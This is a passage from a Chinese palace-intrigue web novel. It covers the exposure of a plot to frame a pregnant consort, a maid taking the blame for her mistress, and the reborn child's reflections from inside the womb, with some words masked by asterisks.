金承徽对紫苏和白菘说的是不动槛儿的肚子,只是要让她就此失宠,但她实则是对槛儿下了杀心的。
金承徽确实对后宅争宠不熟,可也因为不熟,她的想法才更极端绝对。
金承徽觉得后院争宠的女人就像曲蟮。
若不彻底将其弄死,那么就算断成了两截,对方也有可能存活下来。
然后再继续恶心她。
诚如槛儿刚重生,第一次和金承徽面对面交锋被她恶语相向时心中所想。
此人行事不过脑,但委实心狠手辣。
因而此时此刻看到坐在那的槛儿,金承徽心里的狠意几乎快溢出来。
不过她自认为装得好。
状似不解地回答郑明芷的话道:“什么构陷东宫女眷,什么诬告皇嗣?
妾身成日里潜心抄写宫规,门都出不得,就算是太子妃您也不能血口喷人!”
第120章 (合章)槛儿怒扇金承徽!太子回马一枪!
郑明芷冷笑。
“你是出不得门,但你院里的奴才出得!”
金承徽的禁足属于封院,即她本人及其贴身伺候的两个大宫女严禁出入。
此外其他二等宫女和粗使杂役,则因为要保障金承徽禁足期间的饮食、换洗等需求可以外出走动。
“你以为你耗时不少,花了不少银子,事情做得隐蔽就没人知道是你做的?
回头看看你身后的那群奴才!他们可都是一个指认一个一路指认上来的!”
金承徽回头。
屋里靠近门槛的两侧,屋外台阶上拢共跪了六个宫女太监和一个粗使婆子。
六个宫女太监有洒扫的,有做粗使杂役的。
诚如槛儿说的,那件肚兜就是一个比浣衣宫女稍高一层的粗使婆子做的。
适才一群婆子被押进来,宫人便将那件肚兜摆到她们面前一一让她们认。
这个婆子刚开始见势不对还不想认,结果被吓了几句就点头如鸡啄米地认了。
只不过这婆子并不知道这件肚兜会和宋昭训扯上关系,因为让她做这件肚兜的是一个浣衣所的宫女。
这个浣衣所是整个后院的浣衣所。
好笑的是。
这个浣衣所宫女也不知这件肚兜要起到什么作用,因为让她请人帮忙做肚兜的是一个后院里的洒扫宫女。
而刚刚一进门便指认流云,说是流云让其跑腿的小宫女,就是这个洒扫宫女。
但流云也确实懵。
皆因她只是把这么一件事找人交代了下去,肚兜做好了并没有被拿给她。
婆子做完肚兜之后,也没有把东西交给刚开始让她做肚兜的宫女,而是另一个粗使宫女来找她把东西拿走了。
反正就是这么兜兜转转。
最终东西到了方宏手里。
他拿给芳莲和翠萍看了又收了回去,再之后肚兜就在**的小忠子怀里。
小忠子具体**的。
典玺局审了方宏答案自然揭晓。
总归此时在众人来看,今晚这桩构陷宋昭训的事就是金承徽的手笔无疑。
金承徽自然不认,对着刚刚指认流云的洒扫小宫女和其他人就是一通骂。
但这些宫人只是不知情,不是傻。
当即有人举出了关键性证据,最后证实就是香叶轩的流云让做的肚兜。
本身并不知这肚兜做何用的流云一看这事儿竟牵扯到了宋昭训和皇嗣,甚至还**个人,她哪里还撑得住。
立马便说了实话。
“不是奴婢!不是奴婢!是紫苏姐姐……紫苏姐姐让奴婢叫人做这么一件衣裳的!奴婢真的什么都不知道!
紫苏姐姐给了奴婢多少银子,除了给奴婢的那份,奴婢都按数打发下去了!这些银钱都是可以对上的!”
此言一出,紫苏也坚持不住了。
金承徽不像曹良媛,够格带自己的丫鬟入宫,紫苏和白菘是内务府拨来的。
二人原就不赞同金承徽做这事,加之金承徽方才威胁她们的眼神让她们心寒。
于是眼见事情败露,她二人一不做二不休,哭着把金承徽给供出来了。
白菘:“奴婢们想劝承徽主子罢手,但主子觉得宋昭训害了她被禁足,失了体面,便总念着要向宋昭训讨账。
奴婢们不敢不听主子的,这才犯了大错,殿下恕罪!太子妃恕罪!宋昭训恕罪!”
紫苏道:“这件衣物做好后也未经奴婢的手,承徽主子直接交给了另一个二等宫女彩云办接下来的事。
也是彩云为讨好承徽主子向主子献的计。”
彩云。
槛儿眉头动了动。
事情发展到这儿已经没有悬念了,至少在下面的一众人来看是这样的。
“好你们这两个烂心肺的狗奴才!”
金承徽原就是泼辣的性子,且对槛儿有怨,哪里又会这么轻易承认。
“亏我待你们千般好,你们就这么回报我,把莫须有的屎盆子往我头上扣!
我今天不扒了你们的皮,我不姓金!”
说着,她还真朝白菘、紫苏扑了过去。
宛如市井泼妇也似逮着她们的头发,啪啪几个大耳刮子扇得二人晕头转向。
紫苏、白菘不敢还手,只管哭喊,短短几息又说出了不少坐实金承徽的话。
她们越哭,金承徽下手越重。
对着二人又拧又掐。
这可了不得。
哪有主子和下人这般打骂成一团的,别说还是在宫里,还当着太子的面!
秦昭训一贯的清冷面容都裂开了,捂着嘴难以置信地看着这一幕。
曹良媛的表情与她如出一辙。
郑明芷气得扶手几欲拍烂:“反了反了!成何体统!还不将人给我拉开!”
也是大伙儿没见过这阵仗,都惊了,反应过来后忙上前将金承徽主仆撕开。
金承徽还不服呢。
卯足劲儿又给了紫苏一爪子,生生抓掉了紫苏脸上的一块肉。
“摁住她!给我摁住她!”
郑明芷暴喝,险些没维持住主母的体面。
“金承徽你反了天了!殿下面前岂容你如此失礼!人证物证俱在你还敢抵赖?!”
金承徽自是怕太子和太子妃的,但她自觉性命攸关之下尊卑规矩算个屁啊!
所以她还真抵赖了。
觉得只要她咬死不认,太子也不能拿她如何。
殊不知在罪名查证为实的情况下,她这个当事人认与不认对判她罪并无关联。
就在这时。
槛儿忽然起身朝金承徽走去。
骆峋的手微动,身子不显地往前倾了倾。
旋即又稳住,唇也重新抿住。
海顺一个眼神。
摁着金承徽的宫人愈发使了劲儿,以防金承徽**而起伤了宋昭训。
槛儿停下。
今晚之事金承徽是实施者,主谋另有其人。
但。
金承徽的视线从下往上,在掠过槛儿的肚子时眼神阴森,很快被她压下。
“做什么?你不会真信了几个贱婢的话觉得是我要害你吧?你以为你是个什么东西,也配让我……”
啪!
啪啪!
连着三巴掌。
不是槛儿沉不住气,做过皇后的人还能这么轻易被对方三言两语激怒。
这三巴掌无关乎性情。
无关乎前世的恩怨。
只是出于一个当娘的,想保护孩子的心。
“我只道你性情娇蛮,位份高于我,于是对你颇多忍让,殿下和太子妃仁慈,让你禁足修身养性。
你却不知悔改,始终将自己的错归咎于我。”
“为此要陷我于不齿不义之地,置我于死地,置我的孩子于死地,金承徽……”
“你,该死。”
按规矩,金承徽这会儿没被废,槛儿这么对她动手确实是以下犯上。
但金承徽现在被坐实是这件事的主谋了,规矩什么的也就不必过于讲究。
可金承徽不这么认为,她被打偏了头。
也是没料到自己竟会突然被槛儿打,以至于她好一会儿都没反应过来。
只觉得脸上又麻又辣。
等回过神来,金承徽目眦欲裂。
“你打我?你竟敢打我?!爹娘都没打过我姓宋的你个**凭什么打我!
“殿下、太子妃她一个昭训敢跟我动手你们不管?!放开!放开我!我要杀了这个**!我要杀了她——唔唔!”
太子一个眼神。
袁宝拿东西把金承徽的嘴堵住了。
无视金承徽憋紫的脸,槛儿行到太子近前,没有说什么请他做主的话。
今晚的这桩事是东宫后院妾室为争宠闹出来的,实则关系到谋害皇嗣、构陷东宫以及蔑视皇家威严。
若传出去,势必有人以太子齐家不善为由大作文章,太子虽不至于为此受创。
但东宫必然要留下污点。
槛儿可能陷入各种流言之中,再坏的结果,腹中的孩子今后也会被累及。
所以,太子不能当众宣布对金承徽的处置,槛儿也不会当众请他做主。
槛儿只轻声提了一句:“殿下,方才紫苏所说的那个二等宫女彩云……”
余光在曹良媛的裙摆停留了一息。
骆峋斜眼袁宝。
袁宝让紫苏指认彩云,哪知紫苏看了一圈摇头道:“没有,这里没有彩云。”
众人一愣。
袁宝也愣住。
海顺没好气斥他:“杵着作甚!拿人都能让你给拿漏了,还不赶紧叫人去找!”
袁宝忙不迭去了。
不多时回来,带回了彩云的尸身。
“主子,这罪奴先前也不知躲去了哪儿,奴才刚刚赶到时人已经咽气了。”
又**一个……
屋中气氛肉眼可见地一凝。
一众宫人纷纷骇然。
主动向金承徽献计,致使金承徽犯下如此滔天大罪的宫女竟然**!
这是背后还有人啊!
宫里历来不少这种栽赃陷害,却因为死无对证而草草了事的例子。
大伙儿不禁想,今儿这桩事怕是就到这儿了。
曹良媛端起茶盏似喝茶压惊。
唇角勾了勾。
槛儿瞥她一眼,唇抿了抿。
秦昭训看着太子,郑明芷早猜到今晚这件事的幕后主使是谁了。
但人死无对证。
没有证据,便是太子有数也不能如何。
事情
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到这儿似乎便僵住了,最后估计就是处置了金承徽和其他涉事人员。
于是,众人只等着一家之主太子下令。
然而就在这时。
不久前被派出去,低海顺一级的东宫副总管鲍富回来了,押着个太监。
看模样已经受过审了。
曹良媛身后的抚琴脸色一变。
没人注意到她。
鲍富向太子回了话。
随即叫那太监到彩云的尸身跟前,等那太监看过彩云,鲍富把人押回来。
一进屋。
那太监扑通跪地。
“是她!是她!抚琴姐姐叫奴才到香叶轩跑腿,跟奴才接头的就是彩云!奴才有证据!奴才可以拿出证据!”
“求殿下饶命!求殿下饶命!”
真是峰回路转,一波未平一波又起。
似乎所有人都惊呆了。
原以为人**事情就到此为止了,没想到竟是牵扯出了曹良媛身边的人!
不过想想。
金承徽一个禁足了近半年的人能闹出这么大的动静,确实匪夷所思。
关键嘉荣堂里**人。
金承徽一个位份不高,娘家又算不得有权有势的人,如何能有这么大的胆子?
能把手伸得这么长?
且如果不是宋昭训及时应对给撑住了,真就只差一点就让她把事办成了。
抚琴脸上血色全无。
曹良媛“腾”地起身。
槛儿看看太子,再看向她。
骆峋搁下茶盏,上等的青花瓷与紫檀嵌白玉案几相撞,发出清晰的声响。
“曹良媛。”
他掀起眼帘,嗓音清冷无波。
“说罢,你在这桩事中的作用为何?”
曹良媛难以置信。
僵硬地对上男人寡冷的眸子,她只觉脊背升起一股寒意,刹那间周身寒毛卓竖。
院中忽地狂风乍起,寒风穿过门渗进来。
吹得在座几位主子的衣袍翻飞,其中以曹良媛的裙摆晃得最为厉害。
明明是顷刻间的事。
众人却觉得似乎一切都在眼前放慢了。
“殿下,此事与妾身无关,妾身不知!”
像是终于回过神,曹良媛快步走到屋中间辩解道,旋即惊怒地看向那太监。
“你说是抚琴让你到香叶轩跑腿,但看你的样子不过是个没资格来前院的杂役,抚琴却是我的大宫女。
她就算真要做什么见不得人的勾当,也合该以不暴露自己为主才对。
如何会亲自与你这低等奴才往来?我劝你休要信口雌黄!还不如实招来是谁指使你攀扯我院里的人的?”
那太监确实是个杂役。
平日里主要在沁芳居后院当差。
负责处理其他人打扫前院收回来的各类废物,以及挑水、沁芳居后门值夜打更、搬柴运炭等等杂活。
这样的杂役都是不入流没品级的,平时连接触到大宫女的机会都没有。
所以曹良媛的说法听起来很站得住脚,最后一句质问把矛头对准外人的同时,也算是间接在提醒众人。
今晚攀咬槛儿的可都是粗使杂役,再来一个杂役攀扯沁芳居自然不无可能。
话是这么说没错。
通常情况多数人也可能会这么想,进而产生其他各种各样的猜测怀疑。
致使事情继续陷入僵局。
但问题是这个太监出现得太突然了,曹良媛的理智也显然被打乱了。
怒斥那太监的时候根本都没顾得上想,这太监是太子的人给找出来的。
光是太子的人能押这么一个人上来,就足以说明此事背后太子有掌握。
这么一来,能有多少人相信曹良媛的说词?
且很多时候越是常理解释不通的事越有可能发生,所谓灯下黑便是如此。
那太监早受过了审,丁点儿翻供的心思都不敢有,这会儿听曹良媛如此质问他立马真就拿出了证据。
这种使唤人跑腿的事自然少不了银钱,那太监便也是先拿银钱对数。
然后复述抚琴要他传的话,再拿出能证明是彩云给他的好处,以及彩云和抚琴日常通过他联络的证据。
那太监一条条证据摆出来,抚琴再也站不住,“扑通”一声跌跪在地。
众人循声看去。
曹良媛掩在袖下的手止不住颤抖,随即下一刻,她红着眼尖声厉斥。
“好你个大胆奴婢!竟背着**出这等大逆不道之事,你该当何罪?!”
抚琴僵硬地抬头看向曹良媛,她的脸上呈现一种死尸一样的灰白,面部肌肉中风也似的抽搐着。
“小、小姐……”
不是主子,是小姐。
从前,她与弄墨便是这么叫的。
第121章 (合章)抚琴之死,事情到此为止
曹良媛逃过了一劫。
抚琴顶的罪。
这种事在高门大户里不少见,宫里更是不知凡几,尤其抚琴是曹家的家生子。
所以当曹良媛当机立断呵斥抚琴,说她竟敢做出如此大逆不道之事的时候。
抚琴经历了惊愕、恐惧、悲痛、直至心彻底冷去的心历路程后就明白了。
像她这样的家生子,基本一听主子这么问话就该明白自己该怎么做了。
因此她先是惊慌,表现出想否认的样子。
等到曹良媛再度呵斥。
抚琴就一副见势不对容不得她抵赖的姿态,哭着磕头承认来龙去脉。
说她起先是对槛儿成了主子一事感到嫉妒不甘,就是和芳莲的心态差不多。
紧接着便是她见不得槛儿分了她家主子的宠,更为槛儿一味占宠,致使太子冷落了她家主子而感到愤愤不平。
再之后则是子嗣。
抚琴说论出身学识、位份品性,她家主子样样拔尖儿,怎么着都比槛儿适合孕育皇嗣。
当然,这话是大不敬的。
对太子的指责之意简直相当明显,单是抚琴的这番话就够她喝一壶的了。
但现在非常时候。
算是债多不压身的一种心态吧。
总归出于这些原因。
抚琴说自己对槛儿的不满日渐加深。
于是她就在槛儿诊出喜脉的当天下午,和彩云合计了今儿这一出。
身处香叶轩的彩云为何会和沁芳居的她有交情,这事儿就得追溯到三年前。
三年前。
曹良媛、金承徽和秦昭训初入东宫之时,彩云不是在香叶轩当差,而是在东宫后院库房的茶室当差。
日常负责后宅女眷所需茶叶的储存和分配。
曹良媛她们每月的份例里有茶叶,但因着这些茶叶不止一种,且种类不同相应的储存和煮泡方式也不同。
所以她们份例里的茶叶并不是一次性由库房的人全送过去给她们。
而是日常所需多少,由其各自的宫人到库房来取。
一般这种取茶叶的活不需要抚琴这个大宫女来做,可谁叫那会儿曹良媛正处于拉拢人手的时候呢。
当时东宫没有太子妃。
曹良媛便是东宫后院的领头人。
想要巴结她的人不少,她当然不可能照盘全收,也要适当地培养自己的人手。
这种事历来宫里宫外都不少见,属于很寻常的一件事,所以当时管后院的嬷嬷也是睁一只眼闭一只眼。
太子那会儿刚十八,每天都还在按点儿和太傅少傅们在文华殿读书。
元隆帝那会儿看他看得严,他身为储君哪里好频频插手后院之事。
曹良媛自己也有分寸,没把事情摆在明面上,也没触犯什么宫规条例。
故而她拉拢人手这事进行得便还算顺利。
如此,抚琴就少不得替自家主子物色人选,类似取茶叶这样的活儿就是契机。
她和彩云便这么熟悉了。
明面上彩云没表现出自己的立场,但私下里她早是曹良媛一派的人了。
如此过了两年,太子即将大婚。
东宫进行了一次大规模宫人调配,彩云被稀里糊涂分到了香叶轩做二等宫女。
之后彩云暗地里和沁芳居一直有保持联系,算是曹良媛在香叶轩的眼线。
眼线什么的抚琴当然不可能说,她只说了自己和彩云是怎么认识的。
关于彩云**的,为什么会死。
抚琴表示不知,只猜测是彩云见事情败露太害怕了,畏罪自尽什么的。
彩云也的确是自尽的。
在后罩房拿一根绳子结果了自己。
抚琴坚决声称此事是她背着曹良媛犯下的,曹良媛表现的也是这个意思。
但其实事情发展成这样,大伙儿都知晓这事必然和曹良媛脱不了干系。
奈何抚琴咬**不招。
她是曹良媛的心腹丫鬟。
曹良媛有事自然是直接同她交代,她咬死不指认是曹良媛指使的她。
便没有直接性证据证明是曹良媛指使,既如此,便不能直接给曹良媛定罪。
这样的事宫里宫外皆是如此,但凡一桩案子里有人咬**要主动顶罪。
被顶罪的人也声称此事是这人干的,再加之找不出证据推翻此二人的说法。
那么即便审案的人心里门儿清,也不能随便拿人,更不能直接处置了人。
退一万步就算证实了此事乃曹良媛所为,这其中也会牵扯到对各方面的衡量。
是时哪怕太子想还槛儿一个真正的公道,也不可能直接对曹良媛喊打喊杀。
皇帝尚且要权衡利弊,遑论太子。
骆峋对此自是再清楚不过,他之所以会在关键时候牵扯出曹良媛。
一则不想让槛儿不清不楚地吃这么个闷亏,二则也该警告警告曹良媛。
金承徽见抚琴认了罪,顿时理直气壮,完全摆出了一副受害者的姿态。
说抚琴这个贱婢害她。
骂抚琴和彩云狗奴才,又骂曹良媛肯定是主使,最后说自己是受人蒙蔽云云。
虽说曹良媛是主使的话没骂错,可惜她也没证据,加上她说自己受人蒙蔽。
也就是认了自己的罪行。
至此,今晚的这桩事到这儿便真的结束了。
诚如槛儿所料。
太子没有当众下令处置金承徽,只言简意赅列举了其数条罪状之后,着人封住她的嘴暂行押回香叶轩。
而金承徽被押走时,看槛儿的眼神近乎狰狞扭曲,眼里满是阴森森的恨意。
似是恨不得吃了槛儿的肉喝了槛儿的血,就像是槛儿做了多十恶不赦的事。
槛儿和她对视,眼底无悲无喜。
抚琴诬告太子侍妾谋陷皇嗣,伪造丑闻亵渎皇权,祸乱宫廷,按理该下诏狱。
但东宫要瞒下这件事,人就不能往诏狱送,太子下令将人送去了内仆局。
内仆局掌管东宫车马仪,暗地里实则就是处置东宫这些犯事宫人的。
具体如何处置,就不得而知了。
紫苏、白菘、芳莲、翠萍以及其他几个涉事宫人也都被送去了内仆局。
肯定不会全部赐死。
只能是死罪可免,活罪难逃。
曹良媛有抚琴替其顶罪,又没有实质性证据证明她是此事的幕后主使。
勉强算得上全身而退吧。
她面子功夫也做得足,当着太子和太子妃的面郑重其事地行跪拜大礼。
直言此事乃她驭下无方所致,委实无颜面见太子、太子妃与宋昭训。
愿自请禁足,闭门思过。
太子如何作想,槛儿具体不知。
反正他准了曹良媛的请求。
同时将沁芳居的宫人削减至了九品奉仪的数量,削减后的宫人一律重换,且之后严禁沁芳居宫人自由出入。
曹良媛的日常饮食与换洗,皆由太子妃指派专人配送,不得有违。
这其实是一种变相的降位。
罪名就是驭下无方,失察失管。
也是太子表明他知道曹良媛与今晚的事脱不了干系,所以此举意为警告。
至于接下来曹良媛的日常待遇是否有变,则由郑明芷这个太子妃来管。
从嘉荣堂出来,已是寅时。
再过半个多时辰太子便要去工部上值。
空气中的霜意更甚,月亮已然西沉。
鞋底踩在尚未清扫的青石板路面,落叶窸窸窣窣之声在这寂静的夜里格外明显。
槛儿看着太子伟岸的背影,想到他回马一**了曹良媛一个措手不及。
说实话,槛儿意外又不意外。
她今晚能这么应对自如。
除了前世的经验和久居高位养成的遇事不慌的心性,还因为她早先就让小福子留意了沁芳居和香叶轩。
尤其郑氏嫁进东宫前,和这两处地方有关联的人和事,她让小福子着重留心了。
也因此,彩云是曹良媛的人槛儿三个月前就知道,流云托人办事她也知道。
只不过槛儿的人手有限,也不好让小福子打探得过于详细,以免打草惊蛇。
加上那几个低阶宫人虽对她们要参与的事并不知情,且眼界有限。
但到底在宫里混,该有的谨慎还是有。
所以对于曹良媛利用金承徽具体要做的事,小福子也就打探得并不清楚。
只让槛儿知道了那个粗使婆子的存在。
槛儿能那么准确无误地推断出这样的人,除了她真的有通过那个绣图分析出来了这样一个人物形象。
还因为槛儿知道有这个人。
而嘉荣堂后院的芳莲、翠萍行为有异,槛儿事先也有底,此乃她让小福子拿她前年的人情换来的微末消息。
因为低阶的粗使杂役宫女在内院行动受限,能获取的消息委实少。
事情尚未败露之前,别人又不是傻子。
哪能这么轻易就露出马脚。
因而能让槛儿大致有个数已是极限,嘉荣堂**这事儿还真是意料之外。
彩云之死槛儿倒有料到。
只可惜她现今能做的事当真太少,也不能暴露她事先就知道这件事。
所以槛儿今晚做好了曹良媛成功隐匿的准备,没想到关键时候太子会有一手。
刚开始槛儿确实吃了一惊,但随即一想,太子出手又在她所知的情理
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之中。
俱因上辈子起初的那几年,太子虽不常来后院,后院的事他却并非一概不过问。
譬如妻妾间的争执,曜哥儿的日常教养,譬如后宅和宫人相关的一些事。
按祖制和圣人言,这些内务一国储君都不该管,自有太子妃全权做主。
但上辈子最初的太子一直有插手。
就槛儿记得几件事。
譬如太子撞见金承徽拿位份压她羞辱她,当场调转了她与金承徽的位份。
譬如郑氏借故把她当奴婢使唤。
太子当时没说什么,但之后很长一段时间郑氏对她都顶多言语打压几句。
没再使唤她。
再就是当下讲究抱孙不抱子,槛儿却不止一次见太子将曜哥儿抱在怀里。
但上辈子,太子的行事作风是何时变得呢?从他被幽禁回来,从曜哥儿走后。
除非涉及宫中违禁大事。
否则太子不再过问后宅之事。
不再插手妻妾之争。
东宫的孩子陆陆续续出生,却没有一个再有当初曜哥儿的待遇。
在对待后宅之事上,他变得与史上多数的储君别无二致,也像是另一个元隆帝。
槛儿想,世人都是一步步成长起来的。
太子也不例外。
两辈子里。
这时候的太子年岁与阅历都摆在这儿。
他对大靖江山、对他的人生、对东宫、对后院的妻妾应该都或多或少抱有几分少年人的意气和赤子心性吧。
而她又何尝不是呢。
入宫之初签下死契的那一刻,她从来没有想过自己将来会是什么样子。
没有想过做谁的妾,为谁的娘。
她只想活下去。
“殿下?”
半丈远外的男人忽然停下来,槛儿及时收起心思止步,迟疑了片刻轻声唤道。
骆峋负手而立。
顿了顿,转身来到槛儿面前。
随后在槛儿不解的视线中扶起她斗篷上的帽子替其戴上,弯腰将人抱起。
一众随行宫人垂下头。
“回去叫医官把把脉。”
骆峋没看她,大步流星地朝西六院走着,声音冷得和今夜的风相差无几。
槛儿看着太子明晰俊朗的下颌,几息后搂住他的脖颈,收紧双臂。
“好。”
秋风掀动衣摆。
月光将一行人的影子拉得长长的。
等回了永煦院,医官替槛儿诊了脉确定腹中胎儿无事,已过了寅时三刻。
觉是睡不成了。
骆峋收拾一番,简单垫垫肚子出门上值。
走出后院,他交代海顺:
“那人在孤散衙前审完,什么能让人听什么不能让人听,你自有衡量。”
“是。”
.
“蠢货!蠢货蠢货!”
曹良媛忍了一路,回了沁芳居又在卧房的妆台前**了一刻多钟。
最后终于还是忍不住爆发了,一股脑儿把妆台上的东西砸了个遍。
弄墨跪在一旁,眼泪啪嗒啪嗒地掉。
抚琴……
抚琴就这么没了。
明明不久前她们还并肩跟在主子身后,明明临睡前她们还在一起说笑。
说她们今年除夕要给家里人寄多少银子,要把主子赏的珠花给家中姐妹。
主子之前跟她们许诺过。
说她们虽是她从娘家带来的,但她不忍叫她们在宫中蹉跎之死。
所以等她们满二十五了,主子便会向太子求一纸令旨,放她们归家。
回家,多好啊。
虽然回去了也要继续做奴婢,可好歹她们的爹娘、弟弟妹妹都在曹家啊。
她们也是有爹娘疼的。
主子待她们好不假,可她们也会想家人。
会想回家。
弄墨和抚琴都把回去后的日子畅想好了。
家生奴婢成家多半要配府里的家生小厮,而她们是大丫鬟,知道太多事了。
老爷夫人不会放她们出府嫁一个清白人家,多半要把她们配给管事的儿子。
所以弄墨和抚琴就想,没事啊。
等成了婚梳了妇人髻,她们要升为府中的掌家娘子,能自己做主很多事了。
到时候两人一起怀孩子,生孩子,将来老了再做一对管事嬷嬷姐妹花。
她们从记事起就在一处,老了也要在一处。
人生难得一知己,多好。
然而就在刚刚,抚琴走了。
撇下她走了。
可悲的是她此刻哭都不敢为抚琴放声哭,弄墨只觉心口绞痛得厉害。
这时,摔完东西的曹良媛看向她。
“抚琴办事什么情况你清楚,你确定她是尽数按我的吩咐办的事?”
第122章 槛儿病重薨逝,庆昭帝所求为何?
弄墨没料到都这种时候了,主子居然还怀疑抚琴,她的心不住地往下坠。
然而看清曹良媛眼里的审视和焦躁时,弄墨忽然又有一种明悟。
或许正是这样的时候才会怀疑抚琴,她们似乎退无可退了,主子也在怕。
弄墨克制着哽咽道:“是,确定,抚琴是什么样的人主子还不清楚吗?她向来都是宁死也为着主子啊……”
曹良媛知道这时候不该怀疑抚琴,但她是真恼,一气之下哪里管得了那么多。
她知道。
眼下都当她是今儿这起事的幕后主使,觉得她是下了狠心要一举置宋槛儿和她肚里的孩子于死地。
殊不知她根本就没打算做这么绝!
按她的计划,宋槛儿的肚兜确实会出现在嘉荣堂后院的某个小太监身上。
但她有明确交代要露出哪些破绽,并叮嘱他们具体该如何小心。
别将事情闹太大。
毕竟金承徽脑子不好使是众所周知的事,精妙的设计只会容易暴露她。
按原计既能让宋槛儿轻易推翻这场局,又能成功往太子心底扎下一根刺。
同时不会牵扯到沁芳居。
谁曾想!
金承徽那个蠢货竟让嘉荣堂**人,意图往宋槛儿头上扣**灭口的帽子!
这也就罢。
问题是促成这桩事的那些人手,是她叫抚琴通过彩云把人借给金承徽的。
结果这些奴才竟不按她的计划走,全听了金承徽的要把宋槛儿往死里按!
确实。
按死宋槛儿算不得什么。
横竖一个奴婢出身的侍妾,可关键人家肚子里揣着的那块肉是皇嗣啊!
直接把人往死里按,不就等于谋害皇嗣?
曹良媛承认。
不久前刚听说嘉荣堂**人,听那几个奴才指认宋槛儿又是跟人亲嘴,又是企图**灭口的时候。
她在恼怒之后也确实抱了心思。
想着若能就此把宋槛儿和她肚里的孩子一并弄死,倒也不失为一件好事。
左右金承徽虽没脑子,嘴毒心狠却是真的,且彩云是她亲自见了人发的话。
这一点完全没问题。
曹良媛能肯定。
这么一来即便弄**宋槛儿和她肚里的孩子,也只会是金承徽顶罪。
牵扯不到沁芳居。
所以曹良媛还挺拭目以待的。
哪知那姓宋的还真有两把刷子,诏令张口就来,还熟知大靖律令。
仅凭一张嘴就诈得那几个奴才当场翻了供,还单凭一件根本称不上绣品的绣品认准了做肚兜的人。
事情到这儿曹良媛便知道要按死宋槛儿行不通了,不过当时她仍旧不慌。
因为她知道彩云会死。
彩云也真**。
到此为止曹良媛就当今晚看了一出大戏,虽事情发展与她的原计有很大出入,但结果好歹是殊途同归。
因而曹良媛还算比较满意。
却是万万没想到太子揪出了她的人,还在那么短的时间里给审出来了!
什么词都不足以形容曹良媛当时的心情,她也想不明白太子是何时插的手。
她中秋那晚单独和太子说话,为的就是让太子说出那番类似教诲她的话。
她再坦诚认真地表明自己的态度,降低自己在太子心里犯事的可能性。
按常理太子便不该事先对她起疑才对,偏事情就是照相反的方向走了!
曹良媛此刻只觉一把火要把她烧炸了。
不能说太子的不是,就只能迁怒到金承徽和那些个办事的奴才头上。
“一个个狗胆包天背主的奴才!自己没那本事反惹得老娘一身腥!”
弄墨吸吸鼻子。
“奴婢猜莫不是彩云想讨您欢心,觉得另替您办成这事儿能在您跟前讨着好,所以故意对金承徽改了话?
亦或者金承徽听彩云说了咱们最初的计划之后另生了狠计,刚巧彩云有心讨好您,便顺势而为了?”
有可能。
曹良媛暗道。
这种人哪儿都有。
宫里的这些个奴才说是奴才,实则都有各自的小九九,上边的人又不可能时时刻刻盯着他们办事。
彩云在这件事上起关键作用,若彩云没那份心,金承徽就算有喜把事闹大。
第一时间也合该她知晓。
“作死的贱婢!”
曹良媛气极,一拳捶在妆台上。
弄墨没敢再吭声。
曹良媛从镜子里注意到她的肿泡眼,心头一梗,良久后才叹出一口气。
“如今就剩我与你了,放心,我不会把你也折进去,叫你步抚琴的后尘。”
弄墨再也忍不住哭出声来。
抽泣道:“能为主子卖命是奴婢的荣幸,奴婢只怕没本事坏了主子的前程……”
曹良媛擦擦眼角,拉她起来。
“不会让你卖命,眼下就先这样吧。”
她还是那句话。
后宫之中是一花凋零,一花再开。
宋槛儿能得宠到何时。
她倒想看看。
.
叽里咕噜。
曜哥儿吐了个泡泡,好像知道自己在哪儿了。
刚刚外面有人说“宋昭训安好,腹中皇嗣亦安好”,那个皇嗣应该就是他。
腹中。
也就是他在娘的肚子里,这样就能解释得通为什么他动,娘会感觉到了!
然后娘动,包着他的像水一样但比水更温暖滑滑的东西也会动。
那么问题来了。
已经**好多好多好多年的他,为
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什么会在**肚子里呢?
这个问题曜哥儿睡了一觉醒来还是没想明白,不过他想起了一件事。
娘薨逝后,他的弟弟骆晞继位。
称顺平帝。
父王……
嗯,叫父皇吧。
父皇则在一次病愈后开始带着**画像和一撮头发,云游四海。
他跟着父皇到处飘啊飘。
每经过一座道观父皇都会进香礼拜,听人讲经说法,再与人探讨五道轮回。
每天晚上父皇都和娘的画像睡在一起,睡前会从怀里掏出那撮头发看。
白天行至某处山川湖海。
父皇会在高高的地方站很久,风吹得他的胡子和衣摆乱飞,每到这个时候曜哥儿都觉得父皇要羽化登仙。
幸好父皇没有像神仙那样飞走,父皇只会在偶尔赏景结束时开口说话。
都是很短的话。
譬如“冷,回吧”、“走了”、“下回再来”。
回宫前,父皇和他们经过的最后一座道观里的道长就轮回之说秉烛夜谈。
道长送了父皇一盏灯烛。
称:
“死而复生生而复死,生死有定数,轮回皆为虚,陛下不求来生只求机缘重修。
不若将此灯置于故人生前寝居之处,掌灯一回,亲诵生天经九十九日。”
“九十九日烛未灭,陛下所想之事或成。”
曜哥儿记性极好,尽管他听不懂很多话,但他记住了那位道长说的。
他们回宫后。
父皇就照道长说的那样在坤和宫点上了那盏灯,每日只睡两个时辰。
除了用膳、去净房便一直在打坐诵经。
直到过了第九十九日。
灯烛没灭,但父皇倒下了。
别人都以为父皇在求和娘的来世,惊诧于冷冷的父皇对娘用情如此之深。
但曜哥儿知道,父皇不求来世。
机缘什么的。
曜哥儿也不懂。
不过他从父皇做的事里熟知了“轮回”和“来世”、“转世”的意思。
此时感受着周围的温暖。
曜哥儿心想,可能他就是转世轮回了。
只有这样才解释得通,**很久的他为什么会跑到娘的肚子里来了。
就是奇怪他娘不是宋奉仪吗?
怎么成宋昭训了呢?
宋昭训和宋奉仪是同一个人吗?好烦,都怪他记不太清娘的声音了。
刚刚半梦半醒曜哥儿似乎听到了母亲的声音,还有其他很多人的声音。
看样子是娘出了什么事。
曜哥儿有点担心。
可惜他睁不开眼,更说不了话,曜哥儿在娘肚子里老成地叹了口气。
咕噜噜又冒了几个泡泡。
累极的槛儿无所觉地翻个身继续睡了。
第123章 “宋槛儿,我是被你害死的!”
槛儿前世经历过殃及人命的事,且身居高位多年,自然不至于因着见了谁的尸身便被吓得魂不守舍。
然而现今槛儿虽与这具身子融合了,但有些潜意识里的本能一时半会儿却是仍旧非人力所能控制。
所以槛儿睡着后做梦了。
梦里一开始完全还原了夜里她和太子听了海顺的禀报,前后脚领着人出了永煦院往嘉荣堂走的场景。
不同的是。
梦里的这一路月亮被云将遮未遮,狂风吹得树枝剧烈晃动,落叶乱飞。
一阵阵风嚎宛如一道道凄厉惨叫,周遭之景皆透着一派阴森诡异之感。
饶是槛儿知道自己在做梦,也被眼前的场景惊住了,心下意识提到了嗓子眼儿。
